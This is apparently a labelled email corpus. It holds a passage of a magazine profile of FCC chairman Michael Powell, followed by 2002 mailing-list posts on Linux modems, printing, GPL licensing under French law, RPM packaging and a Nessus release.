inactive; rather, he has been active in a way that further infuriates his criticsin a manner that smoothly blends the genial and the provocative, he muses about whether the fundamental premises of F.C.C. World really make sense, while giving the impression that he's having the time of his life as chairman. At his first press conference, when he was asked what he was going to do about the ""digital divide""that is, economic inequality in access to the Internethe said, ""You know, I think there is a Mercedes divide. I'd like to have one and I can't afford one."" At the National Cable & Telecommunications Association convention, in Chicago, Powell, following a troupe of tumblers to the stage, interrupted his walk to the podium to perform a somersault. Not long ago, I went to see Powell in his office at the F.C.C. Until 1998, when the commission moved to a new building in Southwest Washington, near the city's open-air fish market, F.C.C. World was at the western edge of downtown, where everybody would encounter everybody else at a few familiar restaurants and bars. Today, the F.C.C. building looks like the office of a mortgage company in a suburban office park. Even the chairman's suite, though large, is beige, carpeted, and fluorescent. Powell is a bulky man who wears gold-rimmed glasses and walks with a pronounced limp, the result of injuries he suffered in a jeep accident in Germany, in 1987, when he was an Army officer. Because of the accident, he left the Army and went to law school, where he became entranced with conservative ideas about regulation, particularly the idea that the government, rather than trying to correct the flaws of the market before the fact""prophylactically,"" as he likes to sayshould wait till the flaws manifest themselves and then use antitrust litigation to fix them. He worked briefly at a corporate law firm, and then became a protg of Joel Klein, the head of the antitrust division of the Clinton Justice Department and the man who led the government's legal case against Microsoft. (He was recently appointed chancellor of the New York public-school system.) It testifies to Powell's political skill that he is probably the only high official in the Bush Administration who not only served in the Clinton Administration but also maintains close ties to Bush's nemesis Senator John McCain, of Arizona. One of the things about Powell that annoy people is his enduring love of law school""It's sort of like a law-school study session over there,"" one Democratic former commissioner said. As if to confirm the charge, Powell, when I arrived, introduced me to four law students, summer interns at the commission, whom he'd invited to sit in. I began by asking Powell whether he agreed with the founding assumptions of the F.C.C. For example, could private companies have apportioned the airwaves among themselves without the government being involved? ""I think we'll never know,"" Powell said. ""I don't think it's an automatically bad idea, the way some people will argue. Land is probably the best analogue. We don't seize all the land in the United States and say, 'The government will issue licenses to use land.' If my neighbor puts a fence one foot onto my property line, there's a whole body of law about what I can do about that, including whether I can tear it down. If a wireless company was interfering with another wireless company, it's a similar proposition. There are scholars who argueindeed, the famous Ronald Coase treatise that won the Nobel Prize was about thisthat spectrum policy is lunacy. The market could work this out, in the kinds of ways that we're accustomed to."" Talking to Powell was fun. Unlike most high government officials, he doesn't seem to be invested in appearing dignified or commanding. He slumps in his chair and fiddles with his tie and riffs. He speaks in ironic air quotes. He's like your libertarian friend in college who enjoyed staying up all night asking impertinent rhetorical questions about aspects of life that everybody else takes for granted but that he sees as sentimental or illogical. After a while, I asked him whether he thought his predecessors' excitement about the 1996 Telecommunications Act had been excessive. ""I would start with a caveat,"" Powell said. ""Look, I can't fault those judgments in and of themselves, given the time and what people thought. They were not the only ones who were hysterical about the opportunities. But, frankly, I've always been a little bit critical. First of all, anybody who works with the act knows that it doesn't come anywhere close to matching the hyperbole that was associated with it, by the President on down, about the kinds of things it's going to open up. I mean, I don't know what provisions are the information-superhighway provisions, or what provisions are so digitally oriented, or some of the things that were a big part of the theatre of its introduction. When one starts reading the details, one searches, often in vain, for these provisions. But, nonetheless, there was a rising dot-com excitement, and an Internet excitement, and people thought this was historic legislation, and it certainly was. ""But. We were sucking helium out of balloons, with the kinds of expectations that were being bandied around, and this is before the economy or the market even gets in trouble. It was a dramatically exaggerated expectationby the leadership of the commission, by politicians, by the market itself, by companies themselves. It was a gold rush, and led to some very detrimental business decisions, ones that government encouraged by its policies, frankly. Everybody wanted to see numbers go up on the board."" Powell began imitating an imagined true believer in the Telecom Act. "" 'I want to see ten competitors. Twenty competitors! I want to see thirty-per-cent market share. Fifty-per-cent market share! I want the Bells to bleed! Then we'll know we've succeeded.' "" Now Powell returned to being Powell. ""I think that expectation was astonishingly unrealistic, in the short term. They wanted to see it while they're there. We were starting to get drunk on the juice we were drinking. And the market was getting drunk on the juice we were drinking. There's no question, we went too soon too fast. Too many companies took on too much debt too fast before the market really had a product, or a business model."" How could the Telecom Act have been handled better? ""We could have chosen policies that were less hellbent on a single objective, and were slightly more balanced and put more economic discipline in the system,"" Powell said. ""Money chased what seemed like government-promised opportunity. The problem with that is there's a morning after, and we're in it. And the problem is there is no short fix for this problem. This debt is going to take years to bring down to a realistic level. In some ways, for short-term gain, we paid a price in long-term stability."" Powell went on to say that it might have turned out differently if there had been a more ""reasonable"" level of investment. ""No, we wouldn't have every home in America with competitive choice yetbut we don't anyway. I don't think it's the remonopolization of telephone service. I don't buy that. The Bells will prosper, but did anybody believe they wouldn't? The part of the story that didn't materialize was that people thought so would MCI WorldCom and Sprint."" Other local phone companies, he added, hadn't materialized as viable businesses, either, and they never might. ""Everybody's always saying, 'The regulators did this and this and this.' But, candidly, the story's quite the opposite. I think the regulators bent over backward for six years to give them a chance. Conditions don't get that good except once every thirty years, and it didn't happen. So, whatever the reason, we're looking at a WorldCom that's teetering. We're looking at a long-distance business that has had a rapid decline in its revenue base. A.T. & T. is breaking itself up. Sprint has struggled."" Could the F.C.C. have done anything to make the long-distance companies stronger? ""At the F.C.C.? I think I'll just be blunt. My political answer? Yes, there's all kinds of things we can do at the margin to try to help. But I can't find thirty billion dollars for WorldCom somewhere. I can't mitigate the impacts of an accounting scandal and an S.E.C. investigation. Were I king, it would be wonderful, but I don't have those kinds of levers. I don't know whether anybody does. At some point, companies are expected to run themselves in a way that keeps them from dying."" Powell couldn't have made it much clearer that he doesn't think it's his responsibility to do anything about the telecom crash. He has demonstrated his sure political touch by making accommodationist gesturesin August, for example, five months after disbanding the F.C.C.'s Accounting Safeguards Division, Powell announced that he was appointing a committee to study accounting standards in the communications industry. But that shows that Powell is better at riding out the storm than, say, Harvey Pitt, his counterpart at the Securities and Exchange Commission, and does not mean that he plans to try to shore up the telecom industry. I asked Powell if it would bother him if, for most people, only one company provided cable television and only one provided local phone service. ""Yes,"" he said. ""It concerns us that there's one of each of those things, but let's not diminish the importance of there being one of each of those things. That still is a nice suite of communications capabilities, even if they aren't direct analogues of each other."" Anyway, Powell said, before long the phone companies will be able to provide video service over their lines, and the cable companies will provide data service over their lines, so there will be more choice. ""So, yeah, we have this anxiety: we have one of everything. The question is, Does it stay that way?"" The concentration of ownership and the concentrated control of information did not appear to trouble Powell, either. He said that people confuse bigness, which brings many benefits, with concentration, which distorts markets. ""If this were just economics, it's easy. If you were to say to me, 'Mike, just worry about economic concentration,' we know how to do thatthe econometrics of antitrust. I can tell you when a market's too concentrated and prices are going to rise. The problem is other dimensions, like political, ideological, sometimes emotional. Take the question of, if everybody's controlling what you see, the assumption there is that somehow there'll be this viewpoint, a monolithic viewpoint, pushed on you by your media and you won't get diversity. I think that's a possibility. I don't think it's nearly the possibility that's ascribed to it sometimes."" Powell explained, ""Sometimes when we see very pointed political or parochial programming, it gets attacked as unfair. I see some of the same people who claim they want diversity go crazy when Rush Limbaugh exists. They love diversity, but somehow we should run Howard Stern off the planet. If it has a point of view, then it becomes accused of bias, and then we have policies like""here his tone went from ironic to sarcastic""the fairness doctrine, which seems to me like the antithesis of what I thought those people cared about. So when somebody is pointed and opinionated, we do all this stuff in the name of journalistic fairness and integrity or whatever, to make them balance it out."" F.C.C. World abounds in theories about Michael Powell. One is that he can't make up his mind about how to address the crisis in the industries he regulatesso he talks (and talks and talks) flamboyantly about the market, in order to buy himself time. Another is that he's carrying water for the arbocks and the big cable companies. Another is that he is planning to run for the Senate from Virginia (or to be appointed Attorney General in a second Bush term), and doesn't want to do anything at the F.C.C. that would diminish his chances. Another is that he's waiting to move until there is more consensus on some course of action, so that he doesn't wind up going first and getting caught in the crossfire between the arbocks and the cable companies and the television networks. (In F.C.C. World, this is known as the Powell Doctrine of Telecom, after Colin Powell's idea that the United States should never commit itself militarily without a clear objective, overwhelming force, and an exit strategy.) And another is that he actually believes what he says, and thinks the telecommunications crash is natural, healthy, and irreversible, and more concentration would be just fine. ""This is why elections matter,"" Reed Hundt, who isn't happy about what has become of his Telecom Act, told me. It's true that the F.C.C.much more than, say, the war in Afghanistanis a case in which a Gore Administration would be acting quite differently from the Bush Administration. Consumers might have noticed the difference by now, but there's no question whether communications companies have noticed. The arbocks are doing better against their internal rivals than they would have done if Gore had won. Next election, they'll help the party that helped them. If the Republicans win, policy will tilt further in the arbocks' favor. If they lose, perhaps the arbocks' rivalsthe long-distance companies and the telecommunications upstartswith their friends now in power, will stage a comeback. America's present is not unrecognizably different from America's past.",0,1 """Jim Whitehead"" ","""FoRK"" ","Tue, 8 Oct 2002 18:19:49 -0700",[NYT] Korea's Real Rage for Virtual Games,"http://www.nytimes.com/2002/10/09/technology/09KORE.html Broadband's killer application the one activity that dwarfs all others is online gaming, which 80 percent of South Koreans under 25 play, according to one recent study. Critics say the burgeoning industry is creating millions of zombified addicts who are turning on and tuning into computer games, and dropping out of school and traditional group activities, becoming uncommunicative and even violent because of the electronic games they play. ""Game players don't have normal social relationships anymore,"" said Kim Hyun Soo, a 36-year-old psychiatrist who is chairman of the Net Addiction Treatment Center, one of many groups that have sprung up to cope with Internet game addiction. ""Young people are losing the ability to relate to others, except through games. People who become addicted are prone to violence, even when they are not playing. - Jim",0,1 Udhay Shankar N ,"""Stephen D. Williams"" ,","Wed, 09 Oct 2002 10:35:55 +0530",Re: ActiveBuddy,"At 12:05 PM 10/4/28 -0400, Stephen D. Williams wrote: >Date: Wed, 04 Oct 2028 12:05:01 -0400 > >I actually thought of this kind of active chat at AOL (in 1996 I think), >bringing up ads based on what was being discussed and other features. For >a while, the VP of dev. (now still CTO I think) was really hot on the idea >and they discussed patenting it. Then they lost interest. Probably a >good thing. [note date: header] Can I borrow your time machine, pretty please? Udhay -- ((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com))",0,0 Colin Nevin ,ilug@linux.ie,08 Oct 2002 17:34:37 +0000,[ILUG] connecting at 1200bps in RH7.3 (help!),"Hi All, Anyone ever try connecting at 1200bps in Linux? I've got a USR 56K Faxmodem which is meant to connect to another (same) modem and I have to connect at this speed due to the (NT) port settings on the remote side, but the modem handshake always fails at this speed. The modem handshake works at slightly higher speeds (4800bps to ~57600bps) but that is no good for tx/rx'ing data to the remote server as it insists at talking at the speed of treacle/1200bps. Note Minicom fails to handshake at 1200bps, but HyperTerm in Windows worked first time(!?), any ideas? Baud 1200 7 data bits Even Parity I am doing a ATZ3 to reset the modem then I send this init string: AT&F1E1V1Q0X4Y0S32=232&A1&B0&C1&D2&H0&I0&K1&M4&N0&P0&R1&S0&U0&Y1 ... which is most of the defaults. USR said to set S15=128 (disables v.42)) & set S32=98 (disable v.92 & X2) But the S15=128 just makes the handshake lockup instead of just giving up. btw this is a bank's system I am connecting to so reconfiguring their modems may be difficult. Colin. -- Colin Nevin, Software Engineer, Merit Solutions Ltd. (Dublin), 5 Goatstown Cross, Dublin 14. ------------------------------------------ Printed using 100% recycled electrons. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 John McCormac ,Colin Nevin ,"Tue, 08 Oct 2002 18:36:01 +0100",Re: [ILUG] connecting at 1200bps in RH7.3 (help!),"Colin Nevin wrote: > > Hi All, > The modem handshake works at slightly higher speeds (4800bps to > ~57600bps) but that is no good for tx/rx'ing data to the remote server > as it insists at talking at the speed of treacle/1200bps. It sounds like the flow control is set to Xon/Xoff rather than hardware. > Baud 1200 7 data bits Even Parity Unusual - 8 n 1 is more common. > > I am doing a ATZ3 to reset the modem then I send this init string: > > AT&F1E1V1Q0X4Y0S32=232&A1&B0&C1&D2&H0&I0&K1&M4&N0&P0&R1&S0&U0&Y1 I think that the AT command for hardware flow control is &E4 though this may vary from modem to modem. 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List maintainer: listmaster@linux.ie",0,1 Brendan Halpin ,zzzz@spamassassin.taint.org (Justin Mason),08 Oct 2002 17:30:36 +0100,Re: [ILUG] cups question,"zzzz@spamassassin.taint.org (Justin Mason) writes: > /dev/fd/0 is STDIN -- filedescriptor 0. Looks like the PS file wants > to know its filename, but it's being read from STDIN, that's my > guess. I don't think so: it should be getting a stream of PS from stdin, but it's not. The printing/spooling system is executing gs but somehow failing to provide it with input. > Try tweaking the scripts to run ""gs"" with the ps file on > the command line instead of as ""-"". That might clarify that the later part of the system works, but I suspect the problem is earlier. B -- Brendan Halpin, Dept of Government and Society, Limerick University, Ireland Tel: w +353-61-213147 f +353-61-202569 h +353-61-390476; Room F2-025 x 3147 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,ilug@linux.ie,"Tue, 8 Oct 2002 23:51:52 +0200 (CEST)",Re: [ILUG] Interesting article on free software licences,"I have translated the article in full - see end of post (I think that I've done a far better job than the Google translation - at least it's readable now - any corrections appreciated). Stuff in {}'s is my (and others) additions to the debate. My apologies if I've paraphrased anybody incorrectly, I will be glad to retract if anyone is miffed. The article makes four main points. 1) Absence of critical clauses. In this case, the idea is that the licence is invalid because it doesn't specify under what country's law the GPL is governed. 2) Specification in English only. That for the end user (as opposed to businesses), the GPL doesn't apply because it's not written in French. 3) Arbitary licence change. The point here is that (under French law) the author can change the terms of the licence arbitarily. This is because any granting of rights by an author must be clearly delimited in terms of how long, where, to whom, dates and times. In the absence of such limitations, the original author has the right to change his software back to closed on a whim. { David Neary makes the point that the copyright holder automatically retains the right to change the licence. Scott replies it simply requires authorisation from all *copyright holders* That's not my understanding. French law allows a GPL type licence *_on condition_* that the specific conditions of the granting of such rights are clear - if they are not, there is nothing to stop the original author taking back ""his work"". The lawyers see this (correctly IMHO) as a weakness in the GPL). } 4) Hidden defects. Roughly, this clause means that the author(s) is/are liable for any defects if the consumer is not an IT engineer, so if Linux blows up and data is lost, then the authors are liable. { Ciaran Johnson says that M$oft and others have similar clauses - the point here is that they are *_all_* invalid - just that this one affects the GPL also. Niall O'Broinn makes the point that it is not a sale, but rather a service/leasing arrangement and that's why it doesn't come under this point. I would suggest that the whole thrust of this article has been to see software ""sales"" (even if no money changes hands) as governed very much by consumer law (in France anyway). Rick Moen makes the point that it is not a sale but rather a granting of rights which are not default. See the bit about even the granting of rights by an author having to be explicitly specified - under French law. The fact that two IP lawyers in France think that the GPL is covered as a sale make me feel that there is a de facto sale and a de facto contract. } 5) Roughly. There may be other reasons under French law why the GPL may be invalid. ----- Whole Article. ----------- Freedom(a) is worth more than these imperfect licences. Specialised lawyers look at the GPL. Lawyer Cyril Rojinsky (duly appointed to the court) and the jurist Vincent Grynbaum, both specialised in the area of intellectual property examine the ""free"" licences and in particular the GPL. They have published their study in the review ""Proprietes intellectuelles (Intellectual property)[1]"" and their conclusion is grim. Their approach is interesting. The problem for them is not to know whether freedom is valid under French law (for them the question is a moot point) but rather they asked themselves about the form and the content of the text of free licences, and in particular the GPL. The problem is not free programmes, but rather the licence contracts of free programmes. Absence of critical clauses. The authors tell us that first of all, the reference to ""copyright"" is not legally sufficient in the framework of international contracts (which is the case of licence contracts for programmes developed and spread via the Internet). The idea of copyright can basically include differences from one country to another. This is why, under international contracts, it is necessary to specify to which laws one is referring (French law, American &c.). The authors only found three public licences which were correctly formulated on this point: QPL, IBM Public Licence and the Mozilla Public Licence). Specification in the English language. Next, the authors remind us that (at least in France), no clause in a contract may be contrary to French law [2]. However, it turns out that a licence such as the GPL is contrary to French law in several respects. Firstly, it is written in English and the FSF doesn't officially approve translations. The ""Toubon law"" obliges this sort of contract to be written in French, including for businesses since the notion of ""user"" applies not only to consumers, but also to businesses, professionals &c. Contacted by the editors of LinuxFrench, lawyer Cyril Rojinsky declared that, as far as business is concerned, the ""Toubon law"" is probably doomed to change since it is in contradiction of European directives on the subject, but whatever about that, the problem is still valid for individuals, and while waiting for it (French law) to change, French companies have to deal with it, since it is the law of the land. A programme under the GPL can suddenly change licence. Another problem, much more serious, is that according to French law, the author of a free programme can, at any time, invoke the invalidity of the licence for this software by simply changing the licence. In effect, the law of intellectual property stipulates that the granting of rights by the author is subordinate to the condition that each of these granted rights be the object of a distinct clause in the granting act (i.e. the licence) and that the granting of any such rights be delimited with respect to its scope and its grantees, and also with respect to its location (i.e. where such rights may be excersised) and duration of any such grants. [3] This is not the case of the GPL nor of other free licences. Briefly, this means that in France, or elsewhere if the author is French, that which is under the GPL could revert to proprietary from one day to the next. The problem of the guarantee ""hidden defects"". An other very serious flaw is that of the guarantee. The GPL licences and others show that the software is delivered ""without guarantee"". You are going to immediately reply that commercical programmes carry the same clause in their licence contracts, and this is correct. However, whatever is written in a licence contract, one cannot free oneself from the ""guarantee from hidden defects"", since it is imposed in the Civil Code. This concept is poorly understood by the layman, it protects the buyer (whoever it may be, individual or business, since it specifies the Civil Code and not consumer protection law) against hidden defects, deliberate or made in good faith by the seller. For example, if one buys a pair of socks in a sale, and the shop has a notice specifying that ""Sale items are neither refunded nor exchanged"", and on arriving home you notice that one of the socks has a hole in it, several scenarios are possible. You could have checked the socks before purchase: the flaw is deemed ""obvious"" and you can sing for your money. You couldn't check the socks (they were packaged for example), and in this case, despite the notice ""neither refund nor exchange"", you may invoke ""hidden defect"" and have them changed or obtain a refund, it's up to you. Personally, I have already invoked in shops the ""hidden defect"" clause and it always worked well (shopkeepers are always very cooperative if you quote a couple of words of the Civil Code). The concept of hidden defect is rather wide, it is necessary that you hadn't the possibility of discovering the defect before buying the product and then (according to the Civil Code) that you wouldn't have bought it at that price if you had known about the defect. The third case which is much rarer , is if you are able to show that the vendor had knowledge of the defect (hidden), but didn't inform you. In this case, not only does he have to reimburse the product, but all expenses incurred by the sale (metro tickets to go to the shop, the fuse which blew when you plugged it in &c.) This idea of ""hidden defect"" applies to all products, including programmes. This was made abundantly clear by the authorities (and the courts) surrounding Y2K. This is particularly inconvenient for free programmes, since a site which offers a Linux distro for download is supposed to provide a guarantee against hidden flaws. LinuxFrench asked Cyril ROJINSKY if in the case of a free programme, one could speak about a ""hidden"" defect since the source code was available, he replied ""Actually, concerning the guarantee, the question of obvious defect will arise. This analyis will be different depending on whether the person who downloads the distribution is an IT professional or not"". OpenSource has this advantage over the proprietary programme: it protects the distributor against a guarantee of hidden defect insofar as the buy is an IT person. But, for distribution to the public at large, the problem remains the same. Roughly Speaking. Lawyer Cyril ROJINSKY said it himself, this study is far from being exhaustive and many other areas could be explored. During this interview, we asked ourselves, for example, about the fragility of the GPL clause which forbids linking source code under the GPL with proprietary code. In effect, the laws of intellectual property give the right to the user to modify a programme with the intention of permitting interoperability with another programme. If for that, I need to link with a proprietary library (communication protocol, device driver) I may consider as ""null and void"" this clause of the GPL. The conclusion of this study is a wake up call for the community. ""Freedom"" merits more than these shoddy licences, which should be modified before court cases over them proliferate and put at risk the undeniable originality of this effort. --------------------------- [1] Une publication de l'Institut de recherche en proprit intellectuelle, No4 Juillet 2002 [2] Une telle clause de contrat qui est oppose ce que dit la Loi franaise est qualifie en terme juridique de clause rpute non-crite , c'est--dire qu'on fait comme si cette clause n'tait pas crite dans le contrat. C'est pour cela par exemple que vous pouvez signer un bail pour un appartement qui stipule que les enfants sont interdits dans l'immeuble, et envisager sans inquitude d'avoir quand mme un enfant, en effet le code civil stipule que le devoir d'un locataire d'un appartement doit se comporter en bon pre de famille [3] Article L131-3 ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,"""'ILUG'"" ","Tue, 8 Oct 2002 12:06:33 -0700",Re: [ILUG] Modem question,"Quoting Breathnach, Proinnsias (Dublin) (breatpro@exchange.ie.ml.com): > Is there any reliable way to calculate your connection speed if you don't > trust what the modem reports? Do a wget of a file of known length, in a script that runs ""date"" before and after (or equivalent). Be aware that speed between you and your upstream link is one thing; speed through countless congested routers to a faraway location may be quite another. Remember that hardware-level compression is a factor. (The file you wget will probably be precompressed.) In the area of the slightly more exotic, be aware that different traffic may have higher priority and thus more available bandwidth at various points in the transit to/from you -- and that some traffic may go via different paths coming vs. going. Be aware that raw bulk transfer speed may not be the only thing that matters: Depending on what you're doing, the modem's connection latency might matter, and this differs widely between modems. (It matters more for interactive sessions, e.g., ssh remote logins, where each keystroke is echoed from remote.) -- Cheers, ""Send a policeman, and have it arrested."" Rick Moen -- Otto von Bismarck, when asked what he rick@linuxmafia.com would do if the British Army landed. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Trevor Johnston ,ilug@linux.ie,"Wed, 9 Oct 2002 10:01:34 +0100 (IST)",Re: [ILUG] mini-itx,"On Tue, 8 Oct 2002, John Moylan wrote: > Hmm, speaking of cheap machines etc, has anyone tried this sort of > thing: http://www.mini-itx.com/projects/humidor64/ ? or more importantly > has anyone had any positive/negative experiences with the Via mini-itx > boards/via c3 processors. My laptop has a Via C3 processor. I use Debian with a self-compiled 2.4.19 kernel, and have had absolutely no problems with the chip at all (quite the opposite, in fact). I had to compile for ""686"" in order for 3D acceleration to work (the kernel has an option specifically for the Via C3), but I assume that was a kernel problem rather than a hardware problem. Trevor Johnston -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Tue, 8 Oct 2002 15:43:12 -0700",Re: [ILUG] Interesting article on free software licences,"Quoting Paul Linehan (plinehan@yahoo.com): > The point here is that (under French law) the author can change the > terms of the licence arbitarily. This is because any granting of > rights by an author must be clearly delimited in terms of how long, > where, to whom, dates and times. The GPL and similar licences are explicitly permanent grants of rights attached to an instance of his work. (The other stuff mentioned concerns contract law, e.g., the required element of privity, etc.) > In the absence of such limitations, the original author has the right > to change his software back to closed on a whim. No, the author has the right to issue _additional_ instances under a different licence, such as a proprietary (""closed"" [sic]) licence. > Rick Moen makes the point that it is not a sale but rather a granting > of rights which are not default. > > See the bit about even the granting of rights by an author having to > be explicitly specified - under French law. The analysis, here and elsewhere, concerns contract law. This isn't contract law. This isn't the first time copyright attorneys have stumbled on this subject. I'm sure it won't be the last. -- Cheers, ""The front line of defense against such sophisticated Rick Moen viruses is a continually evolving computer operating rick@linuxmafia.com system that attracts the efforts of eager software developers."" -- Bill Gates -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Ben Liblit ,rpm-zzzlist@freshrpms.net,"Tue, 08 Oct 2002 12:57:53 -0700",Re: RedHat 8.0 and his own freetype,"Matthias Haase wrote: > The bytecode-interpreter *is* disabled on RH8, defined at line 3 in > the Specfile of the SRPM. Right you are. The SRPM includes a patch to enable it, but then the specfile defaults to not applying that patch. I saw the former but missed the later. Egad, what a convoluted maze. Sorry for the misinformation! _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,RPM-List ,"Thu, 10 Oct 2002 04:22:48 +1300",KVim 6.1.141,Any one out their have any RPMs for the new KVim that was just released that'd be suitable for RH7.3? The website ( http://freehackers.org/kvim/screenshots.html ) mentions some experimental RPMs for Suse/COnnectiva/Slackware but none for Mandrake... -- \m/ -- ...in 29 days - The Odyssey begins... www.symphonyx.com mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Tue, 08 Oct 2002 22:24:30 +0200",Re: mplayer not working for me,"Laurent Papier wrote: >On Tue, 8 Oct 2002 16:24:06 +0200 >Matthias Saou wrote: > > > >>Once upon a time, Roi wrote : >> >> >> >>>mplayer works with dga (if i am root) and works with x11 >>>and always worked with sdl (but not now with redhat 8) >>>now it gives black screen window and play the music of the movie. >>> >>> >>Strange, because as I said in an earlier post, it works for me. Maybe >>you're missing the SDL_image or something? :-/ >> >> > >It also works nicely for me. > >Laurent > > [roi@roi roi]$ rpm -qa | grep -i sdl SDL_image-devel-1.2.2-3 xmame-SDL-0.60.1-fr2 SDL_mixer-1.2.4-5 SDL-1.2.4-5 SDL-devel-1.2.4-5 SDL_mixer-devel-1.2.4-5 SDL_net-1.2.4-3 SDL_net-devel-1.2.4-3 SDL_image-1.2.2-3 Seems I got all packages I need. It worked on redhat 7.3 I did upgrade not reinstall so packages shouldn't make a problem. Roi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Tue, 8 Oct 2002 23:42:14 +0300",Re: Zoot apt/openssh & new DVD playing doc,"On Tue, Oct 08, 2002 at 04:36:13PM +0200, Matthias Saou wrote: > Two new things today : > > 1) I've had to install a Red Hat Linux 6.2 server because of an old > proprietary IVR software that doesn't work on newer releases :-( So > I've recompiled both the latest apt and openssh packages for it, and > they are now available with a complete ""os, updates & freshrpms"" apt > repository at apt.freshrpms.net, for those who might be interested. Oh, neat. I have similiar thing in my hands, though it might be migratable if I had the time to try. I've been using another 6.x repository though. http://apt-rpm.tuxfamily.org/apt Anyone tried (dist-)upgrade from 6.x to 7? Theoretically it should drop in some -compat's (notably libc) and upgrade the rest and after a reboot and maybe a new kernel (and grub, but I have long before put those to v6's :) run just fine. Haven't had a spare machine to try it on myself, though. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ben Liblit ,rpm-zzzlist@freshrpms.net,"Tue, 08 Oct 2002 13:05:53 -0700",Re: RedHat 8.0 and his own freetype,"Matthias Haase wrote: > The recompile of the SPRM failed for me with: > #---- > RPM build errors: > File not found by glob: > /var/tmp/freetype-2.1.2-root/usr/lib/libttf.so.* > File not found: /var/tmp/freetype-2.1.2-root/usr/lib/libttf.so Weird. I had no problems at all rebuilding from the SRPM with specfile modified to enable the bytecode interpreter. The ""check-files"" test warns that ""/usr/share/aclocal/freetype2.m4"" was not included in any package, but other then that, it's all perfectly clean. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Axel Thimm ,rpm-zzzlist@freshrpms.net,"Wed, 9 Oct 2002 00:03:53 +0200",Re: Nessus?,"On Mon, Oct 07, 2002 at 11:05:21PM +0200, Matthias Saou wrote: > I've put up a new Red Hat Linux 8.0 build of nessus here : > http://ftp.freshrpms.net/pub/freshrpms/testing/nessus/ > > It's 100% untested, although the build should be ok. The new menu was > added, but some configuration files may be better with new or different > defaults. > > Feedback is very welcome! It works very nice, would you consider upgrading it to 1.2.6 released only a few hours after your build? Thanks! On Tue, Oct 08, 2002 at 01:49:11PM +0200, Renaud Deraison wrote: > I'm pleased to announce the availability of Nessus 1.2.6, which should > be one of the last versions of Nessus 1.2.x (hopefully), as I will soon > open a new unstable tree and start to break things again :) > > What is new in Nessus 1.2.6, in comparison to 1.2.5 : > > * changes by Michael Slifcak (Michael.Slifcak at guardent.com) > + Added Bugtraq cross reference in the plugins > + Added support for BID in nessusd (this has yet to be done on > the client side) > > * changes by Axel Nennker (Axel.Nennker at t-systems.com) > + fixed the xml and html outputs > + fixed array issues in a couple of plugins > > * changes by Michel Arboi (arboi at bigfoot.com) > + find_service now detects services protected by TCP wrappers > or ACL > + find_service detects gnuserv > + ptyexecvp() replaced by nessus_popen() (*) > > * changes by Renaud Deraison (deraison at cvs.nessus.org) > + Fixed a bug which may make nasl interpret backquoted strings > (\n and \r) received from the network (problem noted by Pavel > Kankovsky) > + nmap_wrapper.nes calls _exit() instead of exit() (*) > + Solved the lack of bpf's on Free/Open/NetBSD and MacOSX by > sharing _one_ among all the Nessus processes. As a result, > Nessus's ping is much more effective on these platforms > + bugfix in plug_set_key() which would eventually make some > scripts take too long when writing in the KB > + Plugins of family ACT_SETTINGS are run *after* plugins of > family ACT_SCANNERS > + replaced the implementation of md5 which was used when > OpenSSL is disabled by the one from RSA (the old one would > not work on a big-endian host) > + Fixed plugins build issues on MacOS X > + The nessus client compiles and links against GTK+-2.0. Of > course, it will be horrible and unstable, as the GTK team > does not care about backward compatibility > > (*) These two modifications solve the problems of nmap hanging under FreeBSD > > > > Special thanks go to Michael Slifcak, whose work on Nessus during the > last months have been truly appreciated even if they have not always > been as underlined as they should have been. Michael, thanks again ! > > > AVAILABILITY: > > Nessus 1.2.6 is available at http://www.nessus.org/posix.html -- Axel.Thimm@physik.fu-berlin.de _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Jon ,rpm-zzzlist@freshrpms.net,08 Oct 2002 15:17:25 -0700,"xine cannot play DVDs - ""liba52: a52_block error""","Since libdvdcss-1.2.0, I have been unable to play DVDs using ogle, xine, vlc, or mplayer. They all show a scrambled picture with (VERY) choppy audio. When I run xine I see tons of these in the console: liba52: a52_block error liba52: a52_block error liba52: a52_block error liba52: a52_block error audio_out: inserting 5859 0-frames to fill a gap of 10989 pts metronom: audio jump liba52: a52_block error Has anyone seen this before and know how to fix it? Or should I file a bug report? Thanks for your help. - Jon -- jon@tgpsolutions.com Administrator, tgpsolutions http://www.tgpsolutions.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Steve Kann ,rpm-zzzlist@freshrpms.net,"Tue, 8 Oct 2002 20:01:49 -0400","Ack, apt-get still failing for me, stumped. [RH8]","I posted about this last week, and I'm still stumped. apt-get is just not working for me, and I can't figure out what the problem is. I've tried removing the apt rpms, making sure to remove any traces left behind (/etc/apt /var/state/apt /var/cache/apt), and still, I get ""couldn't find package xmms-mp3"" when running ""apt-get install xmms-mp3"". Any clues? Here's a log of a fresh try: root@canarsie:/tmp 